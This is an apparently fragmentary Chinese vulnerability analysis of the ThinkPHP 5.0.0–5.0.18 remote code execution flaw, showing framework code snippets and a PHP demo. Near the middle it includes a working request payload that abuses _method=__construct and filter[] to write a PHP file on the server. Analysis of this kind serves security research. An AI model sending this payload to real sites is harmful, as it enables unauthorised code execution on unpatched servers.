Thinkphp5.0.0-5.0.18 RCE分析

1.本文一共1732个字 26张图 预计阅读时间15分钟2.本文作者Panacea 属于Gcow安全团队复眼小组 未经过许可禁止转载3.本篇文章主要分析了Thinkphp5.0.0-5.0.18RCE情况4.本篇文章十分适合漏洞安全研究人员进行交流学习5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽

    // 表单请求类型伪装变量    'var_method'             => '_method',

    public function filter($filter = null)    {        if (is_null($filter)) {            return $this->filter;        } else {            $this->filter = $filter;        }    }

    // 默认全局过滤方法 用逗号分隔多个    'default_filter'         => '',

<?phpclass People{    static public $name = "pana";    public $height = 170;    static public function output(){        //静态方法调用静态属性使用self        print self::$name."<br>";        //静态方法调用非静态属性（普通方法）需要先实例化对象        $t = new People() ;        print $t -> height."<br>";    }    public function say(){        //普通方法调用静态属性使用self        print self::$name."<br>";        //普通方法调用普通属性使用$this        print $this -> height."<br>";    }}$pa = new People();$pa -> output();$pa -> say();//可以使用::调用普通方法$pan = People::say();

path=<?php file_put_contents('ccc.php','<?php phpinfo();?>'); ?>&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=\think\view\driver\Php::Display&method=GET

eval('?>' . $content);

public static function routeCheck($request, array $config){    $path   = $request->path();    $depr   = $config['pathinfo_depr'];    $result = false;    // 路由检测    $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];    if ($check) {        // 开启路由        if (is_file(RUNTIME_PATH . 'route.php')) {            // 读取路由缓存            $rules = include RUNTIME_PATH . 'route.php';            if (is_array($rules)) {                Route::rules($rules);            }        } else {            $files = $config['route_config_file'];            foreach ($files as $file) {                if (is_file(CONF_PATH . $file . CONF_EXT)) {                    // 导入路由配置                    $rules = include CONF_PATH . $file . CONF_EXT;                    if (is_array($rules)) {                        Route::import($rules);                    }                }            }        }

$rules = self::$rules[$method];

$this->param = array_merge($this->get(false), $vars, $this->route(false));